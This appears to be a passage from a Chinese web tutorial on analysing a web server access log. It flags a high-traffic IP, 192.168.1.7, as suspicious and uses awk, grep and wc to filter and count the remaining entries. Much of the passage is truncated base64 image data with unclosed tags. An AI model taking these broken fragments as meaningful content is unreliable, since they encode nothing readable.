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
<p>通过上述IP发现192.168.1.7访问量非常大，所以很可能是异常IP。<br>
我们可以使用如下命令来查看日志时间记录跨度和间隔时间</p>
<div class=highlight><pre><span></span>head -n <span class=m>1</span> access.log.1 <span class=p>|</span> tail -2 access.log.1
</pre></div>
<p><a id=img8 href=https://xzfile.aliyuncs.com/media/upload/picture/20240522094112-5ef565ac-17dc-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABhUAAACNCAYAAACwl/v7AAB3aklEQVR4nO39e3RjSZ7fB34vQCYfmQkC+SpkJTOTlVVdDdKuadSq2qJWOlWgq+dIcyy1ONb4HNvHoyXlkTe3NdblznpHZyRViafbuzOy1ZrEGa2cVs0ItNbSHx6NzbFk7Vqq2stu2zJ1pqRGVesk0NWVVcysrErkE0hm8pUEEPvHxSUvLu4jLu7Fg+T3c06cTAKBiF9E/OIXcSNu/EIBIEAIIYQQQgghhBBCCCGEEOJBpNcCEEIIIYQQQgghhBBCCCHkYMBNBUIIIYQQQgghhBBCCCGESMFNBUIIIYQQQgghhBBCCCGESMFNBUIIIYQQQgghhBBCCCGESMFNBUdyKIgyNLXXcpDQyBUghNgLhVyvBeo3DqLO91jmXAFCFEBVOsQcBbuRK0CUNfRN13fqV0ehLQ4TbC9XLg8N4ZeTSfzBa6/1WhRCCCGEEEII8U0fbirILBKq0MrC9LDKRb2+QNVQ7qdFaas885NQFAWKsoCVSh/Ic5hRNZRNi0nCZTVJ1cooayqMfs2Fpw5gag/Wr096bTec6Ls27cIGX7fbwocdIzaw77Rg3kj49PXX8ZsTE0gfP95dIQghhBBCCCEkBPpwU8EDVUNZXEM6v9B4WFWwVExhjhsLPSd3NYN4cRkz2V5LokN5ekUOhUVgsdE/FWUBK8k5hwU5FbPpOEprWQBpJONFrM53WdzDTq4AsQgsKkso9loWEg6HvU3nJ6Eok+itKfBjx8iBoQd9hxsJhBBCCCGEkMOI1KaCqpUhygUUHE8HWE4OOCweusbZe3NsDinEkbnmkM9iBlhZQMK0Mjs/uYQiUph3fdPZ5juZo/mzBY9y5VAwv8no9KamRF7u9azLX7Ykrv/G4rYicF7tkMN0qoKV6+ZlIHmZcwWTHA5uOPzJbCePLH71uQxN83KD4yyPe9kbb/9qXnooV4dSOp82v53bjj7PYzIxg/0emsXMchFITdvUj2kjITeNVKWEvG3pPAgssxHFqw4t7T7RjrAyNNo9J1EuL+YnoTS1RwCpwtKxUOLI2F5J+xwKnbAbDoTYpoGRGrt1PPWnqc17/aKAHzvmDfuOG4ev73AjgRBCCCGEEHIUEF5B1cpCCCHKmmr7fa4ghChrQgUEkBMFm7gycbD3XVloqo0sqibKpu9yBaFTLohCWYhCrvFZIef5W+gRRa7pez0NmGR0l9nuM1VoZVO6UnnJ1bOqlU3yGHlZ4oeUV1O7ObWHNT2bepeRWdXKTfI5taGszG7ymGWw1okfXW0uV0NXhKXdJevHvewyeihZh3rBmtoyp5nbxpqXWzreOibzGydc02oK4cksU4d+2739IFmuNtKUr1u/uiqjY37ieNtnd9sraZ+lQ/ftRqfbtKm+y5Y2aEsW57FC1s7btr/PtuhY8JQrQNnZdw5m3zGFy0ND4peTSfEHr70mdqenfYX7b7wh3p+aEt+/fFm8Mz4u3ozFxOWhoe7qNwMDAwMDAwMDAwMDg7/gHal1YdgcWh/MWuPLxDHHdViYMC98mB+cTQ/N5nSb8mhaNLF/wG1+0G+vXK1BJi+Zekbrxoj17zDzMv/Wc1PBpR48ZfZo5zZk9m4XtwUOmXZv/b2+4eG0wOFj8aKl7H76jls6NhtQMnI6pCOjY9b6tstb1cqNz9tdJOyUzD7aooObCu7lCiHNIKEtHZOP49c+d7y8XbcbXWzTLmwq+MqzLzcVZHS33bKz7xzUvhNkI0E2/MFrr4nfffVV8c74uPh2IiHejMU6qOcMDAwMDAwMDAwMDAxyIaQ7FSoo5ff/yq6VgHgSad9x3FEnknv/z02ngOKq7nM5u4x8pZHuch6VRrrpJFBBGrNq47eltcaR9zSScSA1J5pcBMyl/JZrHqtFczp27gFk85Igu4x8JY70rJ6JOptGvJLH8t45/hDzajA/qUBREu73AOSmkaqswNbTkKfMQIubhbmUb92QlkcKr3ZPIxm3idOWPDJll+k7XunoMueXvZw+NOcFwCYdfzqWK1xDBitYbFGisO5TCEvmNtuiY3iVq9uEoWOycbzaS8b2ysQJk5DtxqEjZDvfZZztmNSv2XdcObh952dGR6GeP99R10bp48cxe+oU3h0fx+99/ev4YGoKu9PT+CSdxvtTU3hnfBy/nEzizVgM8Wi0Y3IQQgghhBBCiJmDd1GzF9k1lJDEhJrDdDKP5TyQTAPpZByVphW6ClYWlL3LnvfCpL9VTX3RXYGiLKFo+JNu8QccTl5AFsv5CuLpWaiNBdlKftniGzisvGRRoc2mUFx28lHsJbMKrTyH5Mr+xdvKUpDrE73k6TZu8oRV9rDr0At5HcsVBOaSK1ho8mFtLLBdQyZuLFzNIYUU5hz9aXda5m7XYeOOkL7xH+9F/+mYjO2Vs8+k83S/f0lJJdkH7e2YdC7sO4eYf1Qu45sff4zs3btdz/ul4WG8FYvh3fFx/ObEBD6YmsKDb34T9994A+9PTeG9K1fwzvg43ozFcHloqOvyEUIIIYQQQg43IW0qxJFM7/+lTiSBlgtXZeK4Y34zbX7VdGGiOot03Pgmj1IljuTsBJKlNcwv55GcLmA6ZX7DrxEnDQ/8yDyPSWOxoOkiR9m85NBPYqQxm5tFuuWtxXDzkiJ3FRmPN8zdZW59+9J8IqUT8njj1e6t9ewos6s8smX3kkcmHV1m48RI+8jrmPNCnKmvFJegKAqWikDFWHQLfQNMRmb5OpRqdwmyMwnTot8kOrXtFw5h6Zh8HHk75mR7/cYJSoh249ARsp0PCZk+GGxDAWDfkeFg951KrYb/7NYtvPHxx/jRxkavxUFiYABvxWKYO3cO746P44OpKXz6+uvYnZ7GH7z2Gn731Vfxzvg4vp1I4M1YrNfiEkIIIYQQQg4oIWwqzOP6SgWpWQ36o24OVzPWt9Fl4phxeCjOl/TFaRXA/CSWio03mxeTKFWMSPqb8alMBqXVed39TjKFFEpYy+7HmVkuIjXXfKRf1cqwvojnKrOqoVw2vtfJTacsD8PyeUnRcCeUmcvYuBEKOS/oCypurg9y0ylUVq67L4i6ygwA5oUSvZ7bRUoeZLFWAlLTdpUio6sNHbPEaU8eubJ79x2vdHTdiGcWm9oypzXrrzdyOpYrCMylilhyWYjLTacap4dU6N7JOnW2RLZfeNehbLsfTsLQMfk4ru0lY3ul7LPpOw9b1027ISdPP+K2oB2enXdvi/CQsWNysO8chb7z0eYm/q0f/xi/sraGSrXa3cwloSslQgghhBBCSJh4XrzgfTGsfoneHraXn8rEaQT9dmAjYtNFfJ6Xq+79fv/CSP1PG/mb8rFegNi4dFIruMvcuCTalIjLxZNOecnWsymeQxph5+V6UbOqibLkRYmuMjfVYUHkHC7plLvIWvbiRv2SRjsd86/Php5Y0pGRx7Ps7eihcx1adaP5kkqbi1Yl02lqV2ufsK1n88WbOVFo+8LNkGSWrkOJdg8l+CiXV3BoD98XlIaiY+3HcW8vYW8bZO0z/F1K36rPVt0Q7dsNGXnCalNzXQe+qNnaZnb20E1/LPXn1vaebRFCkLJj7DtHvu84hMtDQ+Ifvvpqxy5v7la4/8Yb4v2pKfHelSvinfFx8WYsJi4PDYXb1xgYGBgYGBgYGBgYDmRQGv85QORQEHNIFZc6eE8AkSFXEJhD/7RDT+XJFSBmS00uMsKRJ4eCmEVpweOybELIwcPGbhxpOQiR5YDo7J9KJPA3JyYwcQjvNMhvbGBtZwcfb27io40NVGo1/HB9vddiEUIIIYQQQrrEQK8F8M88JpX5xvH2ucZnFaxw0bW7qBpmUxWsLPTHhkLX5VE1FGaXMTmThXEZcyV/vck1Vl/VDyGk93jZDUKIPQe07/yjchn/y/o6/ur4ONTz51u+/3x7G6/m83ircbfBWw23Q984f
<p>使用如下命令可以把192.168.1.7的日志全部筛掉</p>
<pre><code>awk '{print $1}' access.log.1 | grep -v 192.168.1.7
grep -v 反选目标</code></pre>
<p><a id=img9 href=https://xzfile.aliyuncs.com/media/upload/picture/20240522094225-8a5029bc-17dc-1.png><img src=data:image/png;base64,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
我们使用如下命令即可把选取我们所需要的字段打印在页面</p>
<pre><code>awk '{print $1 $4 $7}' access.log.1 | grep -v 192.168.1.7</code></pre>
<p><a id=img10 href=https://xzfile.aliyuncs.com/media/upload/picture/20240522094234-8f8a2342-17dc-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABMUAAAIaCAYAAAAgFvqhAAEAAElEQVR4nOz9T4w8yXXnCX5dRaCIFlD0HJBECEWCqRJbiiyAM1EDHuLEiUD3ddCx2O05rTSRPZrZ36G7PXen50aNYlva01wyenX4ARzIo6dvO0BvLPrIFTyau4ec3sUy+kKPqRalLEwV5CAFuYsNCeSIhO3BPSLNPczMzcIt/mTm9wM8VOUvzM3ee/bMM+yl/QkACLwgoiTH/SgEsMEiuMHtuRUiREmMVEyQ3V1hPD+3LoQQQgghhBBCyOsjwAtLihFCCCGEEEIIIYQQ0sYvnVsBQgghhBBCCCGEEEJODZNihBBCCCGEEEIIIeTVwaQYIYQQQgghhBBCCHl1MClGCCGEEEIIIYQQQl4dTIopiZGKHEl0bj2IN+IUQoidpPG5Fbo0XnnMxylEnuC05kdI8iomj912nEKIFJcT9jHSk/n7+bQVJXn1jnrFY/HYvIbfBWd5nxFCCCGEPE8uLClmMzGXJpJCXNhE7xUTJcgvaSLX1Of2BkEQIAjusCouQJ+XTJQglyadwjDrjJIceRJhO65fzATVZlIav8Eo3GARBAiuxpifSreDOWHiVIqhU8XENiGVH8PA5piQRYqT+fgKQRBgsQkxetNiOBMfh3Hu3wU6zhDzpAOt/dX8rqp4dzr8ruyuz357+++6ps4d3odd49nynUkIIYT44MKSYi1ECXJxj8H6rvpSG2Cx6WPKxNjZid+MEG6WGF/IzJ76nIsY6QyYVeMzCO6w6k01X/YjTAYhssc5gAF64QYPtydW99wUGdanaOf2BkFwg0twb5wKCDFFPxzhXjVRjFOIGTALFtgcu60tUYLZCCiKI7U1H+NqNyaCWlKmWC/3EqLrrAB615z4vRY8xjw5Aa39FSHJ7zHKFtJ4X6J3L78XXH5XdtUH5ffn+xGyxdM7aIY3tfdUnN5jhBXudjotkI3u3RNjPuLZ8Z1JCCGEdEWYJEpyIfJUpLmQSEW8KxOJRP4sjRX1tJSJElGr3tBOnkSNumORCrH7PI1Vdig+i9N6S3GzzlwkSSoXUNRbtv1ELpJI0b6xLRs/q20vn0lE5LWtQ6TyV812e51rKjftOUhnlT6GWHCJ1b0y2zgx+U+vj9l22zi086FVzMfyWDw8nvfLq/wTi3T773Gq17tF9LY7vBMa7Zd16mLIQmzs0Zax7/fWcVFzjq4PWvrd6v1sJ0/jPxZpnogIkUhSnZ/K92trfHVuaxsLut8xvu1qGxead/shMXbw2Gnq2TLevZSx+X1q+TvXSs7xu6BNusW8v9iws8vq97KX71o+xOF7VNf+ihKRK2IzKgPO3G9Hip+yapNv1eOh/bkTxLM3/1AoFAqFohVzgaj6ZqSbKMSpkL5QlL8Am2VtymD3meZLbuNLxu57VvWFLI0Nv7ybX1Cav1irSd/TL+7qi7dRZ9W/RSLJVV8ITW3Z+Xn/i5viC56ntmr9ZjHp0H3Rs9E5SvKafro+tNXZpI+sg+5Lmk2s1u3aTtL0X9RM/jHbbhOHlj4sDav1ZZzIfdNsy1RPe4zZPKPD5Qt0m+1O74TK9jLWOn7x7pwUs3tnWo8LY2LSot93ZbskIcq6S123ySNT+W4TKtu2nsbn4UkxN7vQ2tYpkmJ+3hsuZdp/55p/n1r+zrWW0/8uaJfLSIrZ2tX6/vHyXcufWH2P8tFfpqSYqV+OlhSzi6t9/brGo8+kWNe+olAoFArFKOYC5l/i+7/wbH6p6us0TLrkL3nyFwfpS5Zcb62N2hdEm7+GHWbXvtj/5a31y1LzS9bely6PbcnPtk6CDX5o1bmlnw/Qub1fTBMhm37ff96cRHH4Urhnu8vYMdVj82VSoaemHre/JOvbjpK8+ve2FRsO0tDZ7p0g/ayY4B9LzMknu363HhctSTFzv8tlu/nmaawcPylm1VaUiHznl44rxaztgjKR5PT5MeSg94Z9Gdffub7jwVYvXVvdfxfYyCUkxeztMr9/fH3X8iiHfCc5qL+qlXbGP3Kpn+mW9GlJ0tVWBGt+/9T+aNV1VZbHMXuOdyKFQqFQXo14OFOsQLZ++mn+mAFhDwPnMmai697u/+NhH9g8lOfjzJdYF1W9yzWKqt5BDygwwCSqns0eqzMIBuiFQH9aP7hz2ne16xYPG7ke1Xk1tm1ZMF9iXYQYTMpGoskAYbHGcnewgse2Km5vAgTBlfkcrHiIfrHCW9VhRa06A+Xh3ZLO075zbFjrY0Vbvw/QCxVlDtLHxnabsdNWT6nzetl2Cke9LQCKetxibHtGyWwviHydJ2a23e6dsLV1hPtpH9iLUb9sD3SfZHcIbnRGd39n2tPW7/6Yj69wt+phanPO19HbipDMRsgW3c9ac7Wr/B1mOGPw9qY6g0gc8TIZH+8N2zJt7w2b36c2ZXzi+XfBs8GXXb6+a3nE6juJl4YwvqrOCNvZPsTDQn/Clv53pS9CjCbyGWYLbPrT2nlhcSqqs8C2ZR4w7HLYvkda35mEEEJIB57XQfttzB+RoYfrKMawt8ZyDfQGwKAXoqjN+gqs7poHeAaGCaqaMmlUfblAiNG9UByS6qctYI7lukA4mCCqEgr7h436asuWCMmkj81Sd3Nem84RknyK3urp4oTA8KWxuz6nxqSPL9t9+7AN+xiLU4Fpb4W72s2K24n4PUbhdsI0RR99TIVq/JiwsN36nbC1bYFNOMLsiJOA7Q2Dy959t9vGniml/QtsihXu7tYY3B/vtj1jW9EEg1CetJcxGY7uD7rdzNquKMGkX2BlytzHKYSYILsLjnRBwuW9N2x+n9r9ziWXw2m/k2z/4FCKKpls8z3KF3OMr2S7b7CW/rgro/5d6VOVR2QosJrJ9d/iZrGpfAEAMYb9/TJvV4VU5kzYvDMJIYSQDnhIioXoDZ5+iq57ihvVbMqYkf9SefuwAfrD8gtPNbEpWSMrQvQm1+hlj7hdrtEbphj25b9kV2UGaMFF51vcbCcVW72c2rKjXPUywCSeYLD313m/bVkRv8GoZYWPWef9VQaR5kujL33aaev3fT9rdTbqY2t7mz429ZQ6b/86fjj2Mab/ki+Nlc2iukEWKLaTc6fJkr3t5ndCRbHGcl5NFEZvjn6j7e3DxnDDYPd35rOgWunbuz7BlKvZ1t7tZtXNZqs7BF0npwa74jej1tUpZX8fc8Wir/eGfRn7302636euZbri8XfBs8KXXcf4rmVm+weHbRJKvYDd9J3kmKiTcEdPiAEo+0Khkdyv0TUuNXpt3pmEEEJIV4z7K9vOd1AdyGpzGK3+oH2786lixUH7u7Z2dWxvUFIdfl8/m6B+6LDF4a9RInLVLYrK2yBNbdn5uRTpRihVWa9ttZ8p9nS49KE6N/3acqBvi852+pjPwDo0nlU6m/Wxsd3mEGJLH7Yehq04L0p1DpVFjJVxYz6L5Mk3Xc4Ts7Pd+p3QOHfweLegqdrct8v6oP3OZ4pZ9LukR5fzYeJ029b27C1Tnd3ac2vrqd8PO2jfsi2biylc+vVg8fXeOLxM7b1h8/vU9neu/FnLGUSn+l1gq89lnCnmeNB+68HxHb9reZeW71FOYuivOKmPCcXvRZvflb7iR3cu7pOvK78Yy/iP59Z6LN+ZFAqFQqF0FHOB9i/nrteWt0w2d9kuzReItolq40uY9ktzrR1VosHimvDmLXo6PxnbsvWzVM70pdFjW8YvK7UDqjvo3DzUVTMht7uIwPZQ2O2X/P0Yc49nzXX1Nvq02n5IHOp92IyN+pdMh+SIKca0N0vK9ciJsFik1v12iA9h905oTiKreo86OTMmxSz6vXVcNGJZ2WcuSbFm3x/Sb/s66RJHexHkPCmyaEtR/rA+t2vLlMSx71dP4uW9cXiZPT/b/D61/Z0Lt0n7zgemPj30d4GNPt5iXvJ1p/ixs8v64hdtv9u/63yKy23W7WNH11+N
我们再使用wc命令来查看还剩下多少IP</p>
<pre><code>awk '{print $1 $4 $7}' access.log.1 | grep -v 192.168.1.7 | wc -l</code></pre>
<p><a id=img11 href=https://xzfile.aliyuncs.com/media/upload/picture/20240522094245-96284846-17dc-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA7YAAABMCAYAAABZGyt6AAAhoklEQVR4nO2dy1bbyNbHt+QLGHOxcQyGhIQ0yfnMSdLtYYbwBjwCzDITj8AjwKxn4hF4AzHMkFHE6U53QycBc4sMBmxjW/UNLBnZ1qVsy2Dg/1trrwSrVLXrXluq2iIiYrYiKUxjrWiKZAknMcUuUEM4malMY4pkiVtWGWMqkx3TU5lsF4aISYrGmKYwyUnvhjQYU2WPcB5SU0O2ucaTd6vITLXmz0Ff9zh4xabMnerVrSwbdGq3vjjrvaEcNaYovWwbHGl5il9t3gijWMrYrp1x5t2zviy6d94nLPmSFKY1/N+Snp86N/WLRt152xhH/2qnX0AgEAgEAoFA+k4E4z+PD1kltky0KczTyn3rch/IKrGlLK3GF2njvnUBNsiksiXKrsZp8Y4qSFI0Ws/soE0AAAAAAIBHR/C+FegNEilLaaLdzadp1BIRrcyT8GQzD+zYWIzDoAUAAAAAAI+SR2fYSopG6wsxItqlzTgsOwAAAAAAAAB47DzercgAAAAAAAAAAJ4E4n0rAAAAAAAAAAAAdAMMWwAAAAAAAAAADxoYtgAAAAAAAAAAHjQwbAEAAAAAAAAAPGhg2Noik8o0UqT71gP4hqwSY6wuqnzfCvUbT7zNyyoxTaG7zb5Eima0yV6nLavEmEr90+xlUu+svB9OWpKiGWPUE+6LveYpzAX3Mp4B0Oc8pn7xFMaxDukzw5ZncW1ZDDLWZ4u1J4ykkNZPi7FmfVbmSRAEEoRV2s71gT6PGUkhzTLgMpcRV1I00hSJzH79aAZnnglU/kQLsV3aFAQS4osP4BvDd/jww9KG7qpNmEal1osMNvcJq1jaycZinARBoM3dGC188sj4Y1qk3SX3PRc4cQ9tHnSBZ301r1Vtxs425sru9WlNr3Wsa9a5i/Gw2/bMOWY+Wfp1HOsD+syw9UBSSGPrlNlZNSpUoM3dNC3DuL135E8LFNvdosU+WZ1Dn/tCJnWNaM3on4KwStupZYcJW6KlTIyyextElKFUbJc+P7VPT+eytHMX6azMkyDMUz8Ur6wyYmyZ0rEFWrdb7MkqsTWiNWGTdnudlomk0NoCUS7Xo7Q2File7xN